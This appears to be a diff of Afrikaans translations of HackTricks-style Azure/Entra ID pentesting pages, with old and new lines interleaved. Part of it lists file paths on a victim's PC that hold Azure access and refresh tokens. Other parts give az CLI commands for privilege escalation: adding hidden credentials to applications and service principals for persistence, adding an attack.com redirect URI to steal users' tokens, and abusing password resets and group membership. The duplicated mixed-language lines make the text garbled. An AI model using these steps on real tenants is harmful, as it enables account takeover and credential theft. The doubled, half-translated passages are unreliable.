tokens["auth_methods"] = jwt_payload.get("amr")
|
||||
tokens["ip"] = jwt_payload.get("ipaddr")
|
||||
tokens["audience"] = audience
|
||||
if isinstance(audience, str):
|
||||
tokens["api"] = re.sub(r"/$", "", re.sub(r"^https?://", "", audience))
|
||||
if "xms_cc" in jwt_payload:
|
||||
tokens["xms_cc"] = jwt_payload.get("xms_cc")
|
||||
except Exception as e:
|
||||
print(f"[!] JWT parse error: {e}", file=sys.stderr)
|
||||
return 1
|
||||
else:
|
||||
print(f"[i] Expires at: {expiration_time}")
|
||||
|
||||
if args.token_out:
|
||||
print("\nAccess Token:")
|
||||
print(tokens.get("access_token", ""))
|
||||
if tokens.get("refresh_token"):
|
||||
print("\nRefresh Token:")
|
||||
print(tokens["refresh_token"])
|
||||
|
||||
print("\nToken object (JSON):")
|
||||
print(json.dumps(tokens, indent=2))
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
```
|
||||
</details>
|
||||
|
||||
## Waar om tokens te vind
|
||||
|
||||
Uit 'n aanvaller se perspektief is dit baie interessant om te weet waar toegangstokens en verversingstokens gevind kan word wanneer byvoorbeeld die PC van 'n slagoffer gekompromitteer word:
|
||||
Vanuit 'n aanvaller se perspektief is dit baie interessant om te weet waar dit moontlik is om access and refresh tokens te vind wanneer byvoorbeeld die PC van 'n slagoffer gekompromitteer is:
|
||||
|
||||
- Binne **`<HOME>/.Azure`**
|
||||
- Inside **`<HOME>/.Azure`**
|
||||
- **`azureProfile.json`** bevat inligting oor gebruikers wat in die verlede aangemeld was
|
||||
- **`clouds.config contains`** bevat inligting oor intekeninge
|
||||
- **`service_principal_entries.json`** bevat toepassingsinlogbewyse (tenant id, clients en geheim). Slegs in Linux & macOS
|
||||
- **`msal_token_cache.json`** bevat toegangstokens en verversingstokens. Slegs in Linux & macOS
|
||||
- **`service_principal_entries.bin`** and msal_token_cache.bin word in Windows gebruik en is met DPAPI geënkripteer
|
||||
- **`msal_http_cache.bin`** is 'n kas van HTTP-versoeke
|
||||
- **`clouds.config contains`** bevat inligting oor subskripsies
|
||||
- **`service_principal_entries.json`** bevat applications credentials (tenant id, clients and secret). Slegs in Linux & macOS
|
||||
- **`msal_token_cache.json`** bevat access tokens en refresh tokens. Slegs in Linux & macOS
|
||||
- **`service_principal_entries.bin`** and msal_token_cache.bin word in Windows gebruik en is met DPAPI versleuteld
|
||||
- **`msal_http_cache.bin`** is 'n cache van HTTP-aanvrae
|
||||
- Laai dit: `with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)`
|
||||
- **`AzureRmContext.json`** bevat inligting oor vorige aanmeldings wat Az PowerShell gebruik het (maar geen inlogbewyse nie)
|
||||
- Binne **`C:\Users\<username>\AppData\Local\Microsoft\IdentityCache\*`** is verskeie `.bin`-lêers met toegangstokens, ID-tokens en rekeninginligting wat met die gebruiker se DPAPI geënkripteer is.
|
||||
- Dit is moontlik om meer toegangstokens te vind in die `.tbres`-lêers binne **`C:\Users\<username>\AppData\Local\Microsoft\TokenBroken\Cache\`** wat 'n base64 bevat wat met DPAPI geënkripteer is met toegangstokens.
|
||||
- In Linux en macOS kan jy toegangstokens, verversingstokens en ID-tokens van Az PowerShell kry (as dit gebruik is) deur `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"` uit te voer
|
||||
- In Windows genereer dit net ID-tokens.
|
||||
- Dit is moontlik om te sien of Az PowerShell in Linux en macSO gebruik is deur te kontroleer of `$HOME/.local/share/.IdentityService/` bestaan (alhoewel die ingeslote lêers leeg en nutteloos is)
|
||||
- As die gebruiker in Azure met die browser aangemeld is, volgens hierdie [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web) is dit moontlik om die autentikasievloei te begin met 'n **omleiding na localhost**, die browser outomaties die aanmelding te laat magtig, en die verversingstoken te ontvang. Let daarop dat daar net 'n paar FOCI-toepassings is wat 'n redirect na localhost toelaat (soos az cli of die powershell-module), dus moet hierdie toepassings toegelaat wees.
|
||||
- 'n Ander opsie wat in die blog verduidelik word, is om die tool [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow) te gebruik wat enige toepassing kan gebruik omdat dit **die OAuth-kode sal kry om dan 'n verversingstoken uit die titel van die finale auth** blad te kry deur die redirect URI `https://login.microsoftonline.com/common/oauth2/nativeclient` te gebruik.
|
||||
- **`AzureRmContext.json`** bevat inligting oor vorige aanmeldings wat Az PowerShell gebruik het (maar geen credentials nie)
|
||||
- Binne **`C:\Users\<username>\AppData\Local\Microsoft\IdentityCache\*`** is verskeie `.bin`-lêers met **access tokens**, ID tokens en rekeninginligting wat met die gebruiker se DPAPI versleuteld is.
|
||||
- Dit is moontlik om meer **access tokens** te vind in die `.tbres`-lêers binne **`C:\Users\<username>\AppData\Local\Microsoft\TokenBroken\Cache\`**, wat 'n base64 bevat wat met DPAPI versleuteld is en access tokens bevat.
|
||||
- In Linux en macOS kan jy **access tokens, refresh tokens en id tokens** van Az PowerShell (indien gebruik) kry deur `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"` uit te voer
|
||||
- In Windows genereer dit slegs id tokens.
|
||||
- Dit is moontlik om te sien of Az PowerShell in Linux en macOS gebruik is deur te kontroleer of `$HOME/.local/share/.IdentityService/` bestaan (alhoewel die ingeslote lêers leeg en nutteloos is)
|
||||
- As die gebruiker met die blaaier in Azure aangemeld is, volgens hierdie [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web) is dit moontlik om die authentication flow te begin met 'n **redirect to localhost**, die blaaier outomaties die aanmelding te laat goedkeur, en die refresh token te ontvang. Neem kennis dat net 'n paar FOCI applications redirect to localhost toelaat (soos az cli of die PowerShell module), dus moet hierdie applications toegelaat wees.
|
||||
- Nog 'n opsie soos in die blog verduidelik is om die tool [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow) te gebruik wat enige toepassing kan gebruik omdat dit die **OAuth code sal kry om dan 'n refresh token vanaf die titel van die finale auth** bladsy te kry deur die redirect URI `https://login.microsoftonline.com/common/oauth2/nativeclient` te gebruik.
|
||||
|
||||
## References
|
||||
## Verwysings
|
||||
|
||||
- [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research)
|
||||
- [https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md](https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md)
|
||||
- [https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/](https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/)
|
||||
- [https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/](https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+150
-45
@@ -3,15 +3,15 @@
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> Let daarop dat **nie al die fyn granulaire toestemmings** wat ingeboude rolle in Entra ID het **verkieslik is om in pasgemaakte rolle gebruik te word nie.**
|
||||
> Let wel dat **nie alle fynkorrelige toestemmings** wat ingeboude rolle in Entra ID het, **in pasgemaakte rolle gebruik kan word.**
|
||||
|
||||
## Rolle
|
||||
|
||||
### Rol: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
|
||||
|
||||
Hierdie rol bevat die nodige fyn granulaire toestemmings om rolle aan principals toe te ken en om meer toestemmings aan rolle te gee. Beide aksies kan misbruik word om voorregte te verhoog.
|
||||
Hierdie rol bevat die nodige fynkorrelige toestemmings om rolle aan principals toe te ken en om rolle meer toestemmings te gee. Beide aksies kan misbruik word om voorregte te eskaleer.
|
||||
|
||||
- Ken rol aan 'n gebruiker toe:
|
||||
- Ken rol toe aan 'n gebruiker:
|
||||
```bash
|
||||
# List enabled built-in roles
|
||||
az rest --method GET \
|
||||
@@ -52,7 +52,7 @@ az rest --method PATCH \
|
||||
|
||||
### `microsoft.directory/applications/credentials/update`
|
||||
|
||||
Dit stel 'n aanvaller in staat om **akkrediteer** (wagwoorde of sertifikate) by bestaande toepassings te voeg. As die toepassing bevoorregte toestemmings het, kan die aanvaller as daardie toepassing autentiseer en daardie voorregte verkry.
|
||||
Dit stel 'n aanvaller in staat om **inlogbewyse by te voeg** (wachtwoorde of sertifikate) by bestaande toepassings. As die toepassing bevoorregte toestemmings het, kan die aanvaller as daardie toepassing autentiseer en daardie voorregte verkry.
|
||||
```bash
|
||||
# Generate a new password without overwritting old ones
|
||||
az ad app credential reset --id <appId> --append
|
||||
@@ -61,13 +61,13 @@ az ad app credential reset --id <appId> --create-cert
|
||||
```
|
||||
### `microsoft.directory/applications.myOrganization/credentials/update`
|
||||
|
||||
Dit laat dieselfde aksies toe as `applications/credentials/update`, maar beperk tot enkel-directory toepassings.
|
||||
Hiermee word dieselfde aksies as `applications/credentials/update` toegelaat, maar beperk tot enkel-gids toepassings.
|
||||
```bash
|
||||
az ad app credential reset --id <appId> --append
|
||||
```
|
||||
### `microsoft.directory/applications/owners/update`
|
||||
|
||||
Deur hulself as 'n eienaar toe te voeg, kan 'n aanvaller die toepassing manipuleer, insluitend geloofsbriewe en toestemmings.
|
||||
Deur hulself as eienaar by te voeg, kan 'n aanvaller die toepassing manipuleer, insluitend credentials en permissions.
|
||||
```bash
|
||||
az ad app owner add --id <AppId> --owner-object-id <UserId>
|
||||
az ad app credential reset --id <appId> --append
|
||||
@@ -77,40 +77,153 @@ az ad app owner list --id <appId>
|
||||
```
|
||||
### `microsoft.directory/applications/allProperties/update`
|
||||
|
||||
'n Aanvaller kan 'n omleidings-URI by toepassings voeg wat deur gebruikers van die huurder gebruik word en dan aan hulle aanmeld-URL's deel wat die nuwe omleidings-URL gebruik om hulle tokens te steel. Let daarop dat as die gebruiker reeds in die toepassing aangemeld was, die outentisering outomaties gaan wees sonder dat die gebruiker iets hoef te aanvaar.
|
||||
’n Aanvaller kan ’n redirect URI by toepassings voeg wat deur gebruikers van die tenant gebruik word en dit dan met hulle deel deur login URLs te stuur wat die nuwe redirect URL gebruik om hul tokens te steel. Let wel: as die gebruiker reeds by die toepassing aangemeld was, sal die authentication outomaties wees sonder dat die gebruiker iets hoef te aanvaar.
|
||||
|
||||
Let daarop dat dit ook moontlik is om die toestemmings wat die toepassing versoek te verander om meer toestemmings te verkry, maar in hierdie geval sal die gebruiker weer die prompt wat om al die toestemmings vra, moet aanvaar.
|
||||
Neem ook kennis dat dit moontlik is om die permissions wat die toepassing versoek te verander om meer toegang te kry, maar in daardie geval sal die gebruiker die prompt wat om al die permissions vra weer moet aanvaar.
|
||||
```bash
|
||||
# Get current redirect uris
|
||||
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
|
||||
# Add a new redirect URI (make sure to keep the configured ones)
|
||||
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
|
||||
```
|
||||
## Diens Prinsipale
|
||||
### Toepassings Privilege Escalation
|
||||
|
||||
**As explained in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** Dit was baie algemeen om standaardtoepassings te vind wat **API permissions** van die tipe **`Application`** aan hulle toegeken het. 'n API Permission (soos dit in die Entra ID-konsol genoem word) van die tipe **`Application`** beteken dat die toepassing die API kan benader en aksies kan uitvoer sonder 'n gebruikerskonteks (sonder 'n gebruiker wat in die app aanmeld), en sonder dat Entra ID-rolle dit hoef toe te laat. Daarom is dit baie algemeen om **high privileged applications in every Entra ID tenant** te vind.
|
||||
|
||||
Indien 'n aanvaller enige permissie/rol het wat toelaat om **update the credentials (secret o certificate) of the application**, kan die aanvaller 'n nuwe credential genereer en dit dan gebruik om **authenticate as the application**, en sodoende al die permissions te kry wat die toepassing het.
|
||||
|
||||
Let daarop dat die genoemde blog 'n paar **API permissions** van algemene Microsoft standaardtoepassings deel; egter, 'n tyd na hierdie verslag het Microsoft hierdie probleem reggestel en nou is dit nie meer moontlik om as Microsoft applications in te teken nie. Dit bly egter moontlik om **custom applications with high privileges that could be abused** te vind.
|
||||
|
||||
Hoe om die **API permissions** van 'n toepassing op te som:
|
||||
```bash
|
||||
# Get "API Permissions" of an App
|
||||
## Get the ResourceAppId
|
||||
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
|
||||
## e.g.
|
||||
[
|
||||
{
|
||||
"resourceAccess": [
|
||||
{
|
||||
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
|
||||
"type": "Scope"
|
||||
},
|
||||
{
|
||||
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
|
||||
"type": "Role"
|
||||
}
|
||||
],
|
||||
"resourceAppId": "00000003-0000-0000-c000-000000000000"
|
||||
}
|
||||
]
|
||||
|
||||
## For the perms of type "Scope"
|
||||
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
|
||||
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv
|
||||
|
||||
## For the perms of type "Role"
|
||||
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
|
||||
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
|
||||
```
|
||||
<details>
|
||||
<summary>Vind alle toepassings met API-toestemmings vir nie-Microsoft APIs (az cli)</summary>
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Known Microsoft first-party owner organization IDs.
|
||||
MICROSOFT_OWNER_ORG_IDS=(
|
||||
"f8cdef31-a31e-4b4a-93e4-5f571e91255a"
|
||||
"72f988bf-86f1-41af-91ab-2d7cd011db47"
|
||||
)
|
||||
|
||||
is_microsoft_owner() {
|
||||
local owner="$1"
|
||||
local id
|
||||
for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do
|
||||
if [ "$owner" = "$id" ]; then
|
||||
return 0
|
||||
fi
|
||||
done
|
||||
return 1
|
||||
}
|
||||
|
||||
command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
|
||||
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
|
||||
az account show >/dev/null
|
||||
|
||||
apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)"
|
||||
|
||||
tmp_map="$(mktemp)"
|
||||
tmp_ids="$(mktemp)"
|
||||
trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
|
||||
|
||||
# Build unique resourceAppId values used by applications.
|
||||
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
|
||||
|
||||
# Resolve resourceAppId -> owner organization + API display name.
|
||||
while IFS= read -r rid; do
|
||||
[ -n "$rid" ] || continue
|
||||
sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)"
|
||||
owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")"
|
||||
name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
|
||||
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
|
||||
done < "$tmp_ids"
|
||||
|
||||
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
|
||||
|
||||
# Print only app permissions where the target API is NOT Microsoft-owned.
|
||||
while IFS= read -r row; do
|
||||
app_name="$(jq -r '.[0]' <<<"$row")"
|
||||
app_id="$(jq -r '.[1]' <<<"$row")"
|
||||
|
||||
while IFS= read -r rra; do
|
||||
resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")"
|
||||
map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")"
|
||||
owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")"
|
||||
resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
|
||||
|
||||
[ -n "$owner_org" ] || owner_org="UNKNOWN"
|
||||
[ -n "$resource_name" ] || resource_name="UNKNOWN"
|
||||
|
||||
if is_microsoft_owner "$owner_org"; then
|
||||
continue
|
||||
fi
|
||||
|
||||
while IFS= read -r access; do
|
||||
perm_type="$(jq -r '.type' <<<"$access")"
|
||||
perm_id="$(jq -r '.id' <<<"$access")"
|
||||
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
|
||||
done < <(jq -c '.resourceAccess[]' <<<"$rra")
|
||||
done < <(jq -c '.[2][]' <<<"$row")
|
||||
done < <(jq -c '.[]' <<<"$apps_json")
|
||||
```
|
||||
</details>
|
||||
|
||||
## Service Principals
|
||||
|
||||
### `microsoft.directory/servicePrincipals/credentials/update`
|
||||
|
||||
Dit stel 'n aanvaller in staat om geloofsbriewe by bestaande diens prinsipale te voeg. As die diens prinsipaal verhoogde voorregte het, kan die aanvaller daardie voorregte aanvaar.
|
||||
Dit stel 'n attacker in staat om credentials by bestaande service principals te voeg. As die service principal verhoogde bevoegdhede het, kan die attacker daardie bevoegdhede oorneem.
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Die nuwe gegenereerde wagwoord sal nie in die webkonsol verskyn nie, so dit kan 'n stealth manier wees om volharding oor 'n dienshoof te handhaaf.\
|
||||
> Van die API kan hulle gevind word met: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
|
||||
> Die nuut-gegenereerde wagwoord sal nie in die webkonsole verskyn nie, so dit kan 'n stealth manier wees om permanente toegang op 'n service principal te behou.\
|
||||
> Vanaf die API kan hulle gevind word met: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
|
||||
|
||||
As jy die fout ontvang `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` is dit omdat **dit nie moontlik is om die passwordCredentials eienskap** van die SP te wysig nie en jy moet dit eers ontgrendel. Hiervoor het jy 'n toestemming (`microsoft.directory/applications/allProperties/update`) nodig wat jou toelaat om uit te voer:
|
||||
As jy die fout `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` kry, is dit omdat **dit nie moontlik is om die passwordCredentials-eienskap te wysig nie** van die SP en eers moet jy dit ontsluit. Hiervoor benodig jy 'n toestemming (`microsoft.directory/applications/allProperties/update`) wat jou toelaat om uit te voer:
|
||||
```bash
|
||||
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
|
||||
```
|
||||
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
|
||||
|
||||
Dit stel 'n aanvaller in staat om geloofsbriewe by bestaande dienshoofde te voeg. As die dienshoof 'n verhoogde voorregte het, kan die aanvaller daardie voorregte aanvaar.
|
||||
Dit laat 'n attacker toe om credentials by bestaande service principals te voeg. As die service principal elevated privileges het, kan die attacker daardie privileges aanneem.
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
### `microsoft.directory/servicePrincipals/owners/update`
|
||||
|
||||
Soos by toepassings, laat hierdie toestemming toe om meer eienaars by 'n dienshoof te voeg. Om 'n dienshoof te besit, stel jou in staat om beheer oor sy akrediteer en toestemmings te hê.
|
||||
Soortgelyk aan applications, maak hierdie toestemming dit moontlik om meer owners by 'n service principal' te voeg. Om 'n service principal' te besit gee beheer oor sy credentials en permissions.
|
||||
```bash
|
||||
# Add new owner
|
||||
spId="<spId>"
|
||||
@@ -128,13 +241,13 @@ az ad sp credential reset --id <sp-id> --append
|
||||
az ad sp owner list --id <spId>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Nadat ek 'n nuwe eienaar bygevoeg het, het ek probeer om dit te verwyder, maar die API het geantwoord dat die DELETE-metode nie ondersteun word nie, selfs al is dit die metode wat jy moet gebruik om die eienaar te verwyder. So jy **kan nie eienaars vandag verwyder nie**.
|
||||
> Nadat ek 'n nuwe owner bygevoeg het, het ek probeer om dit te verwyder, maar die API het geantwoord dat die DELETE-metode nie ondersteun is nie, selfs al is dit die metode wat jy moet gebruik om die owner te verwyder. Dus kan jy **nie deesdae owners verwyder nie**.
|
||||
|
||||
### `microsoft.directory/servicePrincipals/disable` en `enable`
|
||||
|
||||
Hierdie toestemmings laat toe om diensbeginsels te deaktiveer en te aktiveer. 'n Aanvaller kan hierdie toestemming gebruik om 'n diensbeginsel te aktiveer waartoe hy op een of ander manier toegang kan kry om voorregte te verhoog.
|
||||
Hierdie permissies laat toe om service principals uit te skakel en in te skakel. 'n Aanvaller kan hierdie permissie gebruik om 'n service principal wat hy op een of ander manier toegang tot kry, in te skakel om privileges te eskaleer.
|
||||
|
||||
Let daarop dat die aanvaller vir hierdie tegniek meer toestemmings nodig sal hê om die geaktiveerde diensbeginsel oor te neem.
|
||||
Let daarop dat vir hierdie tegniek die aanvaller meer permissies sal benodig om die geaktiveerde service principal oor te neem.
|
||||
```bash
|
||||
# Disable
|
||||
az ad sp update --id <ServicePrincipalId> --account-enabled false
|
||||
@@ -144,7 +257,7 @@ az ad sp update --id <ServicePrincipalId> --account-enabled true
|
||||
```
|
||||
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
|
||||
|
||||
Hierdie toestemmings stel in staat om akrediteerbare inligting vir enkel aanmelding te skep en te verkry, wat toegang tot derdeparty toepassings kan toelaat.
|
||||
Hierdie permissies laat toe om credentials vir single sign-on te skep en te verkry, wat toegang tot toepassings van derdepartye kan moontlik maak.
|
||||
```bash
|
||||
# Generate SSO creds for a user or a group
|
||||
spID="<spId>"
|
||||
@@ -164,44 +277,36 @@ az rest --method POST \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"id\": \"$credID\"}"
|
||||
```
|
||||
### Toepassings Privilege Escalation
|
||||
|
||||
**Soos verduidelik in [hierdie pos](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** was dit baie algemeen om standaardtoepassings te vind wat **API-toestemmings** van die tipe **`Application`** aan hulle toegeken het. 'n API-toestemming (soos genoem in die Entra ID-konsol) van die tipe **`Application`** beteken dat die toepassing toegang tot die API kan verkry sonder 'n gebruikerskonteks (sonder 'n gebruiker wat in die app aanmeld), en sonder om Entra ID-rolle te benodig om dit toe te laat. Daarom is dit baie algemeen om **hooggeprivilegieerde toepassings in elke Entra ID-huurder** te vind.
|
||||
|
||||
As 'n aanvaller dan enige toestemming/rol het wat toelaat om die **akkrediteer (geheim of sertifikaat) van die toepassing op te dateer**, kan die aanvaller 'n nuwe akkrediteer genereer en dit dan gebruik om **as die toepassing te verifieer**, wat al die toestemmings wat die toepassing het, verkry.
|
||||
|
||||
Let daarop dat die genoemde blog 'n paar **API-toestemmings** van algemene Microsoft standaardtoepassings deel, maar 'n tydjie na hierdie verslag het Microsoft hierdie probleem reggestel en dit is nou nie meer moontlik om as Microsoft-toepassings aan te meld nie. Dit is egter steeds moontlik om **aangepaste toepassings met hoë voorregte te vind wat misbruik kan word**.
|
||||
|
||||
---
|
||||
|
||||
## Groepe
|
||||
## Groups
|
||||
|
||||
### `microsoft.directory/groups/allProperties/update`
|
||||
|
||||
Hierdie toestemming laat toe om gebruikers by voorregte groepe te voeg, wat lei tot privilege escalatie.
|
||||
Hierdie toestemming laat toe om gebruikers by bevoorregte groepe te voeg, wat tot privilege escalation kan lei.
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
**Let wel**: Hierdie toestemming sluit Entra ID rol-toewysbare groepe uit.
|
||||
**Nota**: Hierdie toestemming sluit Entra ID role-assignable groups uit.
|
||||
|
||||
### `microsoft.directory/groups/owners/update`
|
||||
|
||||
Hierdie toestemming maak dit moontlik om 'n eienaar van groepe te word. 'n Eienaar van 'n groep kan groepslidmaatskap en instellings beheer, wat moontlik die bevoegdhede na die groep kan opgradeer.
|
||||
Hierdie toestemming maak dit moontlik om eienaar van groepe te word. 'n Eienaar van 'n groep kan groepslidmaatskap en -instellings beheer, wat potensieel bevoegdhede na die groep kan eskaleer.
|
||||
```bash
|
||||
az ad group owner add --group <GroupName> --owner-object-id <UserId>
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
**Let wel**: Hierdie toestemming sluit Entra ID rol-toewysbare groepe uit.
|
||||
**Nota**: Hierdie toestemming sluit Entra ID role-assignable groups uit.
|
||||
|
||||
### `microsoft.directory/groups/members/update`
|
||||
|
||||
Hierdie toestemming laat toe om lede by 'n groep te voeg. 'n Aanvaller kan homself of kwaadwillige rekeninge aan bevoorregte groepe voeg, wat verhoogde toegang kan verleen.
|
||||
Hierdie toestemming maak dit moontlik om lede by 'n groep te voeg. 'n Aanvaller kan homself of kwaadwillige rekeninge by geprivilegieerde groepe voeg, wat verhoogde toegang kan verleen.
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
### `microsoft.directory/groups/dynamicMembershipRule/update`
|
||||
|
||||
Hierdie toestemming laat toe om lidmaatskapreëls in 'n dinamiese groep op te dateer. 'n Aanvaller kan dinamiese reëls wysig om homself in bevoorregte groepe in te sluit sonder eksplisiete toevoeging.
|
||||
Hierdie toestemming maak dit moontlik om die lidmaatskapreël in 'n dinamiese groep by te werk. 'n Aanvaller kan dinamiese reëls wysig om homself in bevoorregte groepe in te sluit sonder eksplisiete toevoeging.
|
||||
```bash
|
||||
groupId="<group-id>"
|
||||
az rest --method PATCH \
|
||||
@@ -212,11 +317,11 @@ az rest --method PATCH \
|
||||
"membershipRuleProcessingState": "On"
|
||||
}'
|
||||
```
|
||||
**Let wel**: Hierdie toestemming sluit Entra ID rol-toewysbare groepe uit.
|
||||
**Nota**: Hierdie toestemming sluit Entra ID role-assignable groups uit.
|
||||
|
||||
### Dinamiese Groepe Privesc
|
||||
### Dynamic Groups Privesc
|
||||
|
||||
Dit mag moontlik wees vir gebruikers om voorregte te verhoog deur hul eie eienskappe te wysig om as lede van dinamiese groepe bygevoeg te word. Vir meer inligting, kyk:
|
||||
Dit mag moontlik wees vir gebruikers om voorregte te eskaleer deur hul eie eienskappe te wysig sodat hulle as lede van dynamic groups bygevoeg word. Vir meer inligting sien:
|
||||
|
||||
{{#ref}}
|
||||
dynamic-groups.md
|
||||
@@ -226,13 +331,13 @@ dynamic-groups.md
|
||||
|
||||
### `microsoft.directory/users/password/update`
|
||||
|
||||
Hierdie toestemming stel in staat om die wagwoord van nie-admin gebruikers te herstel, wat 'n potensiële aanvaller in staat stel om voorregte na ander gebruikers te verhoog. Hierdie toestemming kan nie aan pasgemaakte rolle toegeken word.
|
||||
Hierdie toestemming laat toe om wagwoorde van nie-admin gebruikers terug te stel, wat 'n potensiële aanvaller in staat stel om voorregte na ander gebruikers te eskaleer. Hierdie toestemming kan nie aan custom roles toegewys word nie.
|
||||
```bash
|
||||
az ad user update --id <user-id> --password "kweoifuh.234"
|
||||
```
|
||||
### `microsoft.directory/users/basic/update`
|
||||
|
||||
Hierdie voorreg stel in staat om eienskappe van die gebruiker te wysig. Dit is algemeen om dinamiese groepe te vind wat gebruikers byvoeg op grond van eienskapwaardes, daarom kan hierdie toestemming 'n gebruiker in staat stel om die nodige eienskapwaarde in te stel om 'n lid van 'n spesifieke dinamiese groep te wees en voorregte te verhoog.
|
||||
Hierdie voorreg laat toe om eienskappe van die gebruiker te wysig. Dit is algemeen om dinamiese groepe te vind wat gebruikers byvoeg gebaseer op eienskapswaardes, daarom kan hierdie toestemming 'n gebruiker toelaat om die nodige eienskapswaarde te stel om lid te word van 'n spesifieke dinamiese groep en escalate privileges.
|
||||
```bash
|
||||
#e.g. change manager of a user
|
||||
victimUser="<userID>"
|
||||
@@ -248,9 +353,9 @@ az rest --method PATCH \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"department\": \"security\"}"
|
||||
```
|
||||
## Voorwaardelike Toegang Beleide & MFA omseiling
|
||||
## Conditional Access Policies & MFA bypass
|
||||
|
||||
Sleg geconfigureerde voorwaardelike toegang beleide wat MFA vereis, kan omseil word, kyk:
|
||||
Verkeerd geconfigureerde conditional access policies wat MFA vereis, kan bypass word — kyk:
|
||||
|
||||
{{#ref}}
|
||||
az-conditional-access-policies-mfa-bypass.md
|
||||
@@ -260,7 +365,7 @@ az-conditional-access-policies-mfa-bypass.md
|
||||
|
||||
### `microsoft.directory/devices/registeredOwners/update`
|
||||
|
||||
Hierdie toestemming laat aanvallers toe om hulleself as eienaars van toestelle toe te ken om beheer of toegang tot toestel-spesifieke instellings en data te verkry.
|
||||
Hierdie toestemming laat aanvallers toe om hulself as eienaars van toestelle aan te wys om beheer te kry of toegang tot toestel-spesifieke instellings en data te verkry.
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
@@ -271,7 +376,7 @@ az rest --method POST \
|
||||
```
|
||||
### `microsoft.directory/devices/registeredUsers/update`
|
||||
|
||||
